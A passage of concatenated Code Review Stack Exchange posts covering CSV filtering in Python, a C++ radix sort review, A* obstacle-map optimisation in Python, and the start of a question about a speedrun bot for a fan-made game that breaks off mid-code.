<p>What would be your suggestion? (Hope my question is clear enough, I want to get the good practice of coding in data science environment)</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T19:10:53.543",
"Id": "503781",
"Score": "0",
"body": "Welcome to Code Review! I [changed the title](https://codereview.stackexchange.com/posts/255333/revisions) so that it describes what the code does per [site goals](https://codereview.stackexchange.com/questions/how-to-ask): \"_State what your code does in your title, not your main concerns about it._\". Feel free to [edit] and give it a different title if there is something more appropriate."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T04:22:49.457",
"Id": "503806",
"Score": "1",
"body": "Do all the csv files have the same format (i.e., the same columns in the same order)? It would help to provide a sample input and output."
}
] |
[
{
"body": "<p>First off, what you currently have is perfectly fine. The only thing I would suggest is to use <a href=\"https://docs.python.org/3/library/pathlib.html\" rel=\"nofollow noreferrer\"><code>pathlib.Path</code></a> instead of manually using <code>format</code> and consistently follow the <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP8</a> naming scheme by using <code>lower_case</code> and having spaces after commas in argument lists:</p>\n<pre><code>from pathlib import Path\n\nfile_name = Path(f).with_suffix(".txt")\n</code></pre>\n<p>I see two ways you could take this code. One direction is making it more memory efficient by using normal Python to parse the file. This would allow you to make the code fully streaming and process all files in one go:</p>\n<pre><code>import csv\n\ndef filter_column(files, column, value):\n out_file_name = ...\n with open(out_file_name, "w") as out_file:\n writer = csv.writer(out_file, sep=";")\n for file_name in files:\n with open(file_name) as in_file:\n reader = csv.reader(in_file, sep=";")\n col = next(reader).index(column)\n writer.writerows(row for row in reader if row[col] != value)\n</code></pre>\n<p>This has almost no memory consumption, due to the <code>writerows</code>, which probably consumes the generator expression after it. If you want it fully independent of your memory (as long as a row fits into memory):</p>\n<pre><code> for row in reader:\n if row[col] != value:\n csv_writer.writerow(row)\n</code></pre>\n<p>The other possibility is to go parallel and distributed and use something like <a href=\"https://dask.org/\" rel=\"nofollow noreferrer\"><code>dask</code></a>:</p>\n<pre><code>import dask.dataframe as dd\n\nfiles = "file1.csv", "file2.csv"\ndf = dd.read_csv(files, sep=";")\ndf_out = df[df.LIB_SEGM_SR_ET != "PARTICULIERS"]\nfile_name = ...\ndf_out.compute().to_csv(file_name, index=False, sep=";")\n</code></pre>\n<p>This gives you the full ease of using <code>pandas</code> and splits the task into batches that fit into memory behind the scenes.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T08:51:28.437",
"Id": "255361",
"ParentId": "255333",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255361",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T18:10:40.867",
"Id": "255333",
"Score": "1",
"Tags": [
"python",
"python-3.x",
"functional-programming",
"csv",
"pandas"
],
"Title": "Processing CSV files with filtering"
}
|
255333
|
<p>I was trying to optimize the Radix Sort code, just because. Nothing more, nothing less. Here it is!!! So tell me, how does it look?</p>
<p>Summary:</p>
<ul>
<li><p>instead of a div or mod ,i use left shift and right shift to avoid div or idiv compiler instruction.</p>
</li>
<li><p>the dual instruction is for avoiding jumps and the usual stuff.</p>
</li>
</ul>
<p>btw you can do arr pointer with same code just change <code>obj_arr*&arr</code> with <code>obj_arr**&arr</code> and add some function to the <code>class obj_arr</code> to get <code>unsigned int</code><br>
example: <code>arr[i]->get_unsigned_int()</code>. <br>
or operator if that you like.</p>
<p>postdata: take in mind you are using arr of obj class.</p>
<pre><code>#pragma once
#define modpow2(num,div_pow2,mod_pow2) (num>>div_pow2) - (num >> mod_pow2+div_pow2 << mod_pow2)
template<class obj_arr>
unsigned int getmax(obj_arr*& arr, size_t& size);
template<class obj_arr>
void countrad(obj_arr*& arr, obj_arr*& aux_arr, size_t& size, unsigned int*& count, const unsigned int& mod_pow2, const unsigned int& div_pow2);
template<class obj_arr>
void radix_sort_ftl(obj_arr* arr, size_t size, unsigned int mod_pow2 = 4);
template<class obj_arr>
unsigned int getmax(obj_arr*& arr, size_t& size) {
size_t i = modpow2(size,0,1);
unsigned int aux=arr[0];
for (; i < size; i += 2) {
aux = arr[i] * (aux < arr[i]) + aux * (aux >= arr[i]);
aux = arr[i + 1] * (aux < arr[i + 1]) + aux * (aux >= arr[i + 1]);
}
return aux;
}
template<class obj_arr>
void radix_sort_ftl(obj_arr* arr, size_t size, unsigned int mod_pow2) {
unsigned int max = getmax(arr, size) + 1;
obj_arr* aux_arr = new obj_arr[size];
unsigned int* count = new unsigned int[1<< mod_pow2 + 1];
for (unsigned int divpow2 = 0; max > (1<< divpow2); divpow2 += mod_pow2){
countrad(arr,aux_arr,size,count,mod_pow2, divpow2);
}
delete[] aux_arr;
delete[] count;
}
template<class obj_arr>
void countrad(obj_arr*& arr, obj_arr*& aux_arr, size_t& size, unsigned int*& count, const unsigned int& mod_pow2, const unsigned int& div_pow2) {
unsigned int i, move,max_mod=1<<mod_pow2;
i = modpow2(max_mod + 1,0,1);
count[0] = 0;
for (; i < max_mod + 1; i += 2) {
count[i] = 0;
count[i + 1] = 0;
}
i = modpow2(size, 0, 1);
count[modpow2(arr[0],div_pow2,mod_pow2)+ 1] += i;
for (; i < size; i += 2) {
count[modpow2(arr[i], div_pow2, mod_pow2) + 1]++;
count[modpow2(arr[i+1], div_pow2, mod_pow2) + 1]++;
}
i = modpow2(max_mod + 2, 0, 1) + 1;
for (; i < max_mod + 1; i += 2) {
count[i] += count[i - 1];
count[i + 1] += count[i];
}
i = modpow2(size, 0, 1);
move = modpow2(arr[0], div_pow2, mod_pow2);
aux_arr[count[move]] = arr[0];
count[move] += i;
for (; i < size; i += 2) {
move = modpow2(arr[i], div_pow2, mod_pow2);
aux_arr[count[move]] = arr[i];
count[move]++;
move = modpow2(arr[i+1], div_pow2, mod_pow2);
aux_arr[count[move]] = arr[i + 1];
count[move]++;
}
i = modpow2(size, 0, 1);
arr[0] = aux_arr[0];
for (; i < size; i += 2) {
arr[i] = aux_arr[i];
arr[i + 1] = aux_arr[i + 1];
}
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T18:49:09.820",
"Id": "504008",
"Score": "0",
"body": "I got confuse here and i put MSD insted of LSD"
}
] |
[
{
"body": "<h1>Avoid macros</h1>\n<p>There is no need to make <code>modpow2</code> a macro. Make it a function instead:</p>\n<pre><code>static constexpr size_t modpow2(size_t num, size_t div_pow2, size_t mod_pow2) {\n return (num >> div_pow2) - (num >> (mod_pow2 + div_pow2) << mod_pow2);\n}\n</code></pre>\n<h1>Avoid forward declarations</h1>\n<p>You should not need to write forward declarations, unless you have circular dependencies between functions. Otherwise, they are unnecessary code duplication, and there is a potential for mistakes that is better avoided.</p>\n<h1>Be consistent with the template type</h1>\n<p>You made your functions templates, so I assume you want to be able to run radix sort on arrays of various types. However, I see code like this:</p>\n<pre><code>unsigned int aux = arr[0];\n</code></pre>\n<p>What if I have an array of <code>unsigned long</code> instead? Or <code>float</code>? When you make a template, you want to avoid making assumptions about the type of the variables. So either use the template type name:</p>\n<pre><code>obj_arr aux = arr[0];\n</code></pre>\n<p>Or better yet, just use <code>auto</code> when possible:</p>\n<pre><code>auto aux = arr[0];\n</code></pre>\n<p>Also use this for the return type. So:</p>\n<pre><code>template<class obj_arr>\nauto getmax(obj_arr*& arr, size_t& size) {\n auto aux = arr[0];\n ...\n return aux;\n}\n</code></pre>\n<h1>When to pass by reference</h1>\n<p>You should only pass large objects by reference. Small objects, like pointers and primitive types like <code>int</code> and <code>size_t</code> should be passed by value if possible. So:</p>\n<pre><code>template<class obj_arr>\nauto getmax(obj_arr* arr, size_t size) {\n ...\n}\n</code></pre>\n<p>If you always use references, you risk adding unnecessary pointer indirection to your code.</p>\n<h1>Use <code>const</code> where appropriate</h1>\n<p>You should mark pointers and references as <code>const</code> when possible, since that might allow the compiler to generate better code, and it will also give a compiler error if you accidentily do modify a value that should be constant. So:</p>\n<pre><code>template<class obj_arr>\nauto getmax(const obj_arr* arr, size_t size) {\n ...\n}\n</code></pre>\n<p>You can even be more strict and also make the parameter <code>size_t size</code> <code>const</code>, and even local variables like <code>max_mod</code> inside <code>countrad()</code>.</p>\n<h1>Use <code>size_t</code> consistenly for counts and indices</h1>\n<p>Don't use <code>unsigned int</code> for counts, unless you are absolutely sure you will never have to deal with arrays with more elements than can be counted in whatever an <code>unsigned int</code> might be on all the platforms you want to support.</p>\n<h1>Use idiomatic <code>for</code>-loops</h1>\n<p>Why have you moved the initializer statement out of all your <code>for</code>-loops? In most cases this does not seem necessary at all. Just write <code>for</code>-loops like you normally do:</p>\n<pre><code>auto aux = arr[0];\n\nfor (i = modpow2(size, 0, 1); i < size; i += 2) {\n aux = arr[i] * (aux < arr[i]) + aux * (aux >= arr[i]);\n aux = arr[i + 1] * (aux < arr[i + 1]) + aux * (aux >= arr[i + 1]);\n}\n</code></pre>\n<h1>Avoid premature optimization</h1>\n<p>Your implementation of <code>getmax()</code> seems to be written to avoid conditional jumps. However, many architectures have conditional <em>move</em> instructions that will be able to perform a maximum operation without needing conditional jumps. And this is much cheaper than two multiplication operations. Instead of calling <code>getmax()</code>, I would just use <a href=\"https://en.cppreference.com/w/cpp/algorithm/max_element\" rel=\"nofollow noreferrer\"><code>std::max_element()</code></a> like so:</p>\n<pre><code>auto max = *std::max_element(arr, arr + size) + 1;\n</code></pre>\n<p>Let the compiler worry about optimizing this. If you really want to be sure, measure the speed of your radix sorting function when using your <code>getmax()</code> vs. when using <code>std::max_element()</code>.</p>\n<p>Also, in general the compiler will be able to optimize multiplication and division by constants for you, and will convert them to shifts if it sees they are powers of two. However, there are a few places where you call <code>modpow2()</code> with variable divisors, so it does make sense to explicitly use shifts here.</p>\n<h1>Use <a href=\"https://en.cppreference.com/w/cpp/memory/unique_ptr\" rel=\"nofollow noreferrer\"><code>std::unique_ptr</code></a> to manage allocated memory</h1>\n<p>It's best to avoid calling <code>new</code> and <code>delete</code> manually, and use smart pointers that do this for you. This avoids potential mistakes such as leaking memory or deleting something twice. If you can use C++14, then use <a href=\"https://en.cppreference.com/w/cpp/memory/unique_ptr/make_unique\" rel=\"nofollow noreferrer\"><code>std::make_unique()</code></a> to create an array for you, like so:</p>\n<pre><code>auto aux_arr = std::make_unique<obj_arr[]>(size);\nauto count = std::make_unique<size_t[])(1 << mod_pow2 + 1);\n</code></pre>\n<p>If you are stuck with an older version, you still need to use <code>new</code>:</p>\n<pre><code>std::unqiue_ptr<obj_arr> aux_arr = new obj_arr[size];\nstd::unique_ptr<size_t> count = new size_t[1 << mod_pow2 + 1];\n</code></pre>\n<p>But at least you don't have to call <code>delete</code> anymore. You could also use <code>std::vector</code> for even cleaner looking code, but then you lose a bit of performance due to the initialization of the elements.</p>\n<h1>Naming things</h1>\n<p>The names of your variables and functions are inconsistent and sometimes misleading. For example, choose whether you want to use underscores to separate words (which I recommend) or not, and stick with that choice.</p>\n<p>The name <code>obj_arr</code> suggests that the type is an array, but actually it's the type of the array <em>elements</em>. In any case, I would use the more idiomatic <code>T</code> for this:</p>\n<pre><code>template<typename T>\nauto getmax(const T* arr, size_t size) {\n ...\n}\n</code></pre>\n<p>The word <code>count</code> suggests it is a single value, but actually it is an array. I recommend you use the plural form of a noun for arrays, or append <code>_arr</code> like you do with <code>aux_arr</code> for example.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T02:52:16.210",
"Id": "503805",
"Score": "0",
"body": "thx very much, i learn a lot."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T22:34:49.417",
"Id": "255345",
"ParentId": "255335",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255345",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T18:13:03.933",
"Id": "255335",
"Score": "1",
"Tags": [
"c++",
"radix-sort"
],
"Title": "LSD radix sort (force avoid div or idiv compiler instruction) in C++"
}
|
255335
|
<p>How can I change the function <code>calc_obstacle_map(self, ox, oy)</code> to get an equivalent result that runs as fast as possible? The time complexity of <code>O(n³)</code> takes a huge amount of time to calculate the obstacle map for bigger arrays. I'm glad about every hint to improve the running time, including a version of this code with numpy arrays.</p>
<pre><code>import math
import matplotlib.pyplot as plt
import numpy as np
show_animation = True
class AStarPlanner:
def __init__(self, ox, oy, resolution, rr):
"""
Initialize grid map for a star planning
ox: x position list of Obstacles [m]
oy: y position list of Obstacles [m]
resolution: grid resolution [m]
rr: robot radius[m]
"""
self.resolution = resolution
self.rr = rr
self.min_x, self.min_y = 0, 0
self.max_x, self.max_y = 0, 0
self.obstacle_map = None
self.x_width, self.y_width = 0, 0
self.motion = self.get_motion_model()
self.calc_obstacle_map(ox, oy)
class Node:
def __init__(self, x, y, cost, parent_index):
self.x = x # index of grid
self.y = y # index of grid
self.cost = cost
self.parent_index = parent_index
def __str__(self):
return str(self.x) + "," + str(self.y) + "," + str(
self.cost) + "," + str(self.parent_index)
def planning(self, sx, sy, gx, gy):
"""
A star path search
input:
s_x: start x position [m]
s_y: start y position [m]
gx: goal x position [m]
gy: goal y position [m]
output:
rx: x position list of the final path
ry: y position list of the final path
"""
start_node = self.Node(self.calc_xy_index(sx, self.min_x),
self.calc_xy_index(sy, self.min_y), 0.0, -1)
goal_node = self.Node(self.calc_xy_index(gx, self.min_x),
self.calc_xy_index(gy, self.min_y), 0.0, -1)
open_set, closed_set = dict(), dict()
open_set[self.calc_grid_index(start_node)] = start_node
while 1:
if len(open_set) == 0:
print("Open set is empty..")
break
c_id = min(
open_set,
key=lambda o: open_set[o].cost + self.calc_heuristic(goal_node,
open_set[
o]))
current = open_set[c_id]
# show graph
if show_animation: # pragma: no cover
plt.plot(self.calc_grid_position(current.x, self.min_x),
self.calc_grid_position(current.y, self.min_y), ".c")
# for stopping simulation with the esc key.
plt.gcf().canvas.mpl_connect('key_release_event',
lambda event: [exit(
0) if event.key == 'escape' else None])
#if len(closed_set.keys()) % 10 == 0:
#plt.pause(0.001)
if current.x == goal_node.x and current.y == goal_node.y:
print("Find goal")
goal_node.parent_index = current.parent_index
goal_node.cost = current.cost
break
# Remove the item from the open set
del open_set[c_id]
# Add it to the closed set
closed_set[c_id] = current
# expand_grid search grid based on motion model
for i, _ in enumerate(self.motion):
node = self.Node(current.x + self.motion[i][0],
current.y + self.motion[i][1],
current.cost + self.motion[i][2], c_id)
n_id = self.calc_grid_index(node)
# If the node is not safe, do nothing
if not self.verify_node(node):
continue
if n_id in closed_set:
continue
if n_id not in open_set:
open_set[n_id] = node # discovered a new node
else:
if open_set[n_id].cost > node.cost:
# This path is the best until now. record it
open_set[n_id] = node
rx, ry = self.calc_final_path(goal_node, closed_set)
return rx, ry
def calc_final_path(self, goal_node, closed_set):
# generate final course
rx, ry = [self.calc_grid_position(goal_node.x, self.min_x)], [
self.calc_grid_position(goal_node.y, self.min_y)]
parent_index = goal_node.parent_index
while parent_index != -1:
n = closed_set[parent_index]
rx.append(self.calc_grid_position(n.x, self.min_x))
ry.append(self.calc_grid_position(n.y, self.min_y))
parent_index = n.parent_index
return rx, ry
@staticmethod
def calc_heuristic(n1, n2):
w = 1.0 # weight of heuristic
d = w * math.hypot(n1.x - n2.x, n1.y - n2.y)
return d
def calc_grid_position(self, index, min_position):
"""
calc grid position
:param index:
:param min_position:
:return:
"""
pos = index * self.resolution + min_position
return pos
def calc_xy_index(self, position, min_pos):
return round((position - min_pos) / self.resolution)
def calc_grid_index(self, node):
return (node.y - self.min_y) * self.x_width + (node.x - self.min_x)
def verify_node(self, node):
px = self.calc_grid_position(node.x, self.min_x)
py = self.calc_grid_position(node.y, self.min_y)
if px < self.min_x:
return False
elif py < self.min_y:
return False
elif px >= self.max_x:
return False
elif py >= self.max_y:
return False
# collision check
if self.obstacle_map[node.x][node.y]:
return False
return True
def calc_obstacle_map(self, ox, oy):
self.min_x = round(min(ox))
self.min_y = round(min(oy))
self.max_x = round(max(ox))
self.max_y = round(max(oy))
print("min_x:", self.min_x)
print("min_y:", self.min_y)
print("max_x:", self.max_x)
print("max_y:", self.max_y)
self.x_width = round((self.max_x - self.min_x) / self.resolution)
self.y_width = round((self.max_y - self.min_y) / self.resolution)
print("x_width:", self.x_width)
print("y_width:", self.y_width)
# obstacle map generation
self.obstacle_map = [[False for _ in range(self.y_width)]
for _ in range(self.x_width)]
for ix in range(self.x_width):
x = self.calc_grid_position(ix, self.min_x)
for iy in range(self.y_width):
y = self.calc_grid_position(iy, self.min_y)
for iox, ioy in zip(ox, oy):
d = math.hypot(iox - x, ioy - y)
if d <= self.rr:
self.obstacle_map[ix][iy] = True
break
@staticmethod
def get_motion_model():
# dx, dy, cost
motion = [[1, 0, 1],
[0, 1, 1],
[-1, 0, 1],
[0, -1, 1],
[-1, -1, math.sqrt(2)],
[-1, 1, math.sqrt(2)],
[1, -1, math.sqrt(2)],
[1, 1, math.sqrt(2)]]
return motion
def main():
print(__file__ + " start!!")
# start and goal position
sx = 10.0 # [m]
sy = 10.0 # [m]
gx = 50.0 # [m]
gy = 50.0 # [m]
grid_size = 2.0 # [m]
robot_radius = 1.0 # [m]
# set obstacle positions
ox, oy = [], []
for i in range(-10, 60):
ox.append(i)
oy.append(-10.0)
for i in range(-10, 60):
ox.append(60.0)
oy.append(i)
for i in range(-10, 61):
ox.append(i)
oy.append(60.0)
for i in range(-10, 61):
ox.append(-10.0)
oy.append(i)
for i in range(-10, 40):
ox.append(20.0)
oy.append(i)
for i in range(0, 40):
ox.append(40.0)
oy.append(60.0 - i)
if show_animation: # pragma: no cover
plt.plot(ox, oy, ".k")
plt.plot(sx, sy, "og")
plt.plot(gx, gy, "xb")
plt.grid(True)
plt.axis("equal")
a_star = AStarPlanner(ox, oy, grid_size, robot_radius)
rx, ry = a_star.planning(sx, sy, gx, gy)
if show_animation: # pragma: no cover
plt.plot(rx, ry, "-r")
plt.pause(0.001)
plt.show()
if __name__ == '__main__':
main()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T19:15:36.773",
"Id": "503782",
"Score": "0",
"body": "Welcome to Code Review! Welcome to Code Review! Please provide more complete code - e.g. complete function/method/class. [\"_there are significant pieces of the core functionality missing, and we need you to fill in the details. Excerpts of large projects are fine, but if you have omitted too much, then reviewers are left imagining how your program works._\"](https://codereview.meta.stackexchange.com/a/3652/120114)"
}
] |
[
{
"body": "<p>One idea that occurs to me is that you appear to be using circles to determine where your obstacles interfere with the grid cells.</p>\n<p>Since the radius of the circle is the same for all obstacles (<code>self.rr</code>), why not simply compute the offsets of a circle with that radius, and store it?</p>\n<p>If the robot radius can be changed, you may have to compute it once during your function. But if the radius is really a constant, you might be able to compute it now and store it as source code.</p>\n<p>Something like:</p>\n<pre><code>def compute_robot_radius(self):\n """ Compute and store table of offsets of cells within a robot's radius.\n """\n self.robot_radius = []\n for x in range(-self.rr, self.rr + 1):\n for y in range(-self.rr, self.rr + 1):\n if math.hypot(x, y) < self.rr:\n self.robot_radius.append((x, y))\n</code></pre>\n<p>Then you could just iterate over the obstacles, marking the cells according to the list you have pre-computed:</p>\n<pre><code> obstacles = zip(ox, oy)\n ...\n for ox, oy in obstacles:\n for dx, dy in self.robot_radius:\n self.obstacle_map[ox + dx][oy + dy] = True\n\n \n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T03:25:56.650",
"Id": "503963",
"Score": "0",
"body": "I think you could use a [circle drawing algorithm](https://en.wikipedia.org/wiki/Midpoint_circle_algorithm) in the first part of the code to just mark the perimeter of the circle. Because the bot would have to go thru the perimeter to get to the inside points. It would save work proportional to the size of the robot times the number of obstacles."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T21:03:47.280",
"Id": "504018",
"Score": "0",
"body": "@RootTwo That would work as long as no diagonal paths are available into the circle."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T07:44:30.660",
"Id": "504045",
"Score": "0",
"body": "Yes, you would need to modify the circle drawing routine to block the diagonal paths too. When ever the \"slow\" coordinate changes, also fill in a extra square to block the diagonal path."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T20:17:08.880",
"Id": "255340",
"ParentId": "255337",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T18:54:29.233",
"Id": "255337",
"Score": "0",
"Tags": [
"python",
"algorithm",
"python-3.x"
],
"Title": "How to reduce time complexity of obstacle calculation in a grid map? (python)"
}
|
255337
|
<p>The code in question is a bot that completes the game Nintendo Nightmare at current WR time.</p>
<p>A standard room has some obstacles to walk around in order to reach a door. My current way that I would tackle this is to write some sequence of conditionals that partition the room into manageable regions. Then in each region I say to walk towards some position. That is the extent of this logic. It is <em>automated</em>, and therefore a bot, but it is not really doing any actual <em>thinking</em>.</p>
<h2>Speed run information</h2>
<p>In this run I would say there are seven major areas that we go through. These seven segments are as follows:</p>
<ol>
<li>Intro level as Mario</li>
<li>Death Egg as Mario</li>
<li>Intro level as Link</li>
<li>Death Egg as Link</li>
<li>Gyorg Tower</li>
<li>Volcano Temple</li>
<li>Sand Temple</li>
</ol>
<p>Within the code there are six segments as the intro level is the same code for Link and Mario. The difference being that Link has the ability to acquire items.</p>
<p>The primary goal of the speedrun is to defeat the final boss which is located in the Sand Temple. In order to defeat the boss, two items are required. These items are the hookshot and the hammer. The hookshot is located within the Gyorg tower which we immediately exit upon obtaining. The hammer is located in the volcano temple, and we also leave that dungeon immediately upon getting the hammer. The Death Egg dungeon is entered in order to obtain the Jet Shield, which is an upgrade that allows the player to hover infinitely over any distance. While this item is theoretically skippable, the hover ability allows the bot to essentially skip the majority of obstacles.</p>
<p>The primary technique used in this run is the CAD (control-alt-delete) exploit. To elaborate, on Windows pressing the CAD keyboard combination brings up a secondary desktop security window. Through errors in the underlying game engine that are not fully understood, large swaths of game code are not executed while in this menu and similar UAC menus. As it matters for this speedrun, this causes collision and walking movement disabled while leaving gravity enabled. This allows the player to fall under the floor at any time, and because jumping midair is a normal feature, this is utilized to jump under walls. Once Jet Shield is obtained, the need to jump back in bounds is eliminated as all doors have infinite height in both directions. Because the issue of opening and closing windows security menus via automation is neither deterministic timing-wise nor possible without some form of <em>Windows</em> exploit (aka a Windows security flaw), CAD is simulated via a call to event_perform() to generate calls to the begin step event (which according to people far smarter than me is the only event executing every frame CAD is active).</p>
<p>Another large skip is backup/star farming during the first Death Egg segment. That particular collectible is not quite functional and can be collected any number of times. Doing this allows one to skip the first three worlds and go straight to the Death Egg level.</p>
<h2>Feedback</h2>
<p>All feedback is welcome. Where I'm hoping a review would be more to try and reign in and improve the code as it is currently functioning. This code will forever be getting optimized, I <em>already</em> have a laundry list of things to improve. I also plan to post on a speedrun feedback board. So I would appreciate any improvements to the actual speed running, however feedback in this area isn't anticipated on Code Review.</p>
<p>There’s <a href="https://m.youtube.com/watch?v=4-_6hI8RjHw&t=7s" rel="nofollow noreferrer">a video of the bot in action</a>. Info such as maps, related code, etc. will have to be extracted in order to be provided for reference.<br />
<strong>Note</strong>: I did not film or publish the video, so there may be a minor discrepency between the bots actual time and the time taken in the video.</p>
<p>Here is a <a href="https://adriendittrick.itch.io/9-10-do-nightmare" rel="nofollow noreferrer">link</a> to the original game’s source code. I have not yet uploaded the modified source file to a location, so I will link to that instead shortly.</p>
<p>Here is the code. I put it in a function-like format for readability. The bot is hardcoded within the game’s source code which is then compiled with Game Maker 8.0.</p>
<pre><code>scr_tas_room2()
{
if (booSkip == 1)
{
internal_room = room2;
with (obj_mchose1)
event_perform(ev_mouse, ev_left_press);
}
}
scr_tas_room50()
{
if (booSkip == 1)
{
internal_room = room50;
with (obj_mchose1)
event_perform(ev_mouse, ev_left_press);
}
}
scr_tas_pause77()
{
scr_tas_internal_room = pause77;
with (obj_mquit)
event_perform(ev_mouse, ev_left_press);
}
scr_tas_room1()
{
internal_room = room1;
random_set_seed(589190);
}
scr_tas_room3()
{
if (booSkip == 0)
frame_timer = 0;
internal_room = room3;
scr_set_tas_mouse_xy(scr_get_display_get_width()/2,scr_get_display_get_height()/2);
}
scr_tas_room_alien()
{
internal_room = room_alien;
booSkip = 1;
scr_set_tas_mouse_xy(scr_get_display_get_width()/2,scr_get_display_get_height()/2);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room5()
{
internal_room = room5;
scr_set_tas_mouse_xy(display_get_width()/2,display_get_height()/2);
scr_tas_keyboard_key_press(vk_enter);
keyboard_key_release(vk_space);
}
scr_tas_room_start()
{
if (internal_room != room_start)
{
timer = 0;
internal_room = room_start;
keyboard_key_release(vk_enter);
}
if (player_basic.x < 272)
{
scr_rotate_camera_to_dir(player_basic.x+6, player_basic.y+3);
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else if (player_basic.y < 544 && player_basic.x < 352)
{
scr_rotate_camera_to_dir(304, 560);
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else if (player_basic.y < 800 && player_basic.x < 352)
{
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else if (player_basic.x < 760 && timer == 0)
{
scr_rotate_camera_to_dir(768, 592);
scr_tas_keyboard_key_press(vk_up);
} else if (timer == 0)
{
scr_tas_keyboard_key_press(vk_up);
if (player_basic.z <= 127)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_rotate_camera_to_dir(832, 592);
if (point_distance(played_basic.x, played_basic.y, 832, 592) < 5)
timer += 1;
} else if (timer == 1)
{
scr_tas_keyboard_key_press(vk_up);
if (player_basic.z <= 127)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_rotate_camera_to_dir(896, 624);
if (point_distance(played_basic.x, played_basic.y, 896, 624) < 5)
timer += 1;
} else if (timer == 2)
{
scr_tas_keyboard_key_press(vk_up);
if (player_basic.z <= 138)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_rotate_camera_to_dir(880, 688);
if (point_distance(played_basic.x, played_basic.y, 880, 688) < 5)
timer += 1;
} else if (timer == 3)
{
scr_tas_keyboard_key_press(vk_up);
if (player_basic.z <= 147)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_rotate_camera_to_dir(848, 736);
if (point_distance(played_basic.x, played_basic.y, 848, 736) < 5)
timer += 1;
} else if (timer == 4)
{
scr_tas_keyboard_key_press(vk_up);
if (player_basic.z <= 157)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_rotate_camera_to_dir(808, 800);
if (point_distance(played_basic.x, played_basic.y, 808, 800) < 5)
timer += 1;
} else if (timer == 5)
{
scr_tas_keyboard_key_press(vk_up);
if (player_basic.z <= 167)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_rotate_camera_to_dir(784, 864);
if (point_distance(played_basic.x, played_basic.y, 784, 864) < 5)
timer += 1;
} else if (timer == 6)
{
scr_tas_keyboard_key_press(vk_up);
if (player_basic.z <= 177)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_rotate_camera_to_dir(736, 928);
if (point_distance(played_basic.x, played_basic.y, 736, 928) < 5)
timer += 1;
} else if (timer == 7)
{
scr_rotate_camera_to_dir(672, 944);
if (point_distance(played_basic.x, played_basic.y, 672, 944) > 10)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
scr_tas_keyboard_key_press(vk_up);
} else if (point_distance(played_basic.x, played_basic.y, 672, 944) > 5)
{
if (player_basic.z < 211)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_keyboard_key_press(vk_up);
} else
keyboard_key_release(vk_up);
}
}
scr_tas_room7()
{
if (internal_room != room7)
{
internal_room = room7;
global.tas_perfect_mouse = true;
}
random_set_seed(135464354);
if (player_basic.jump == 0 && point_distance(496,160,player_basic.x,player_basic.y) > 4)
{
while ((player_basic.z + player_basic.canjump - 0.5) > -20)
scr_tas_execute_simulated_CAD_menu(1);
}
if (player_basic.z < -8 && player_basic.jump == 0)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else
keyboard_key_release(vk_space);
scr_rotate_camera_to_dir(496, 160);
if (point_distance(496,160,player_basic.x,player_basic.y) > 4)
scr_tas_keyboard_key_press(vk_up);
else
keyboard_key_release(vk_up);
}
scr_tas_room8()
{
if (internal_room != room8)
{
internal_room = room8;
global.tas_perfect_mouse = false;
}
scr_rotate_camera_to_dir(32, 112);
scr_tas_keyboard_key_press(vk_up);
scr_tas_execute_simulated_CAD_menu(100);
if (instance_number(obj_playcam) > 0)
scr_tas_keyboard_key_press(vk_space);
else
keyboard_key_release(vk_space);
}
scr_tas_room9()
{
internal_room = room9;
scr_set_tas_mouse_xy(display_get_width()/2,display_get_height()/2);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room10()
{
if (internal_room != room10)
internal_room = room10;
if (player_basic.jump == 0 && player_basic.z == -0.5 && player_basic.canjump == -0.5)
scr_tas_execute_simulated_CAD_menu(7);
if (player_basic.z < -6)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else
keyboard_key_release(vk_space);
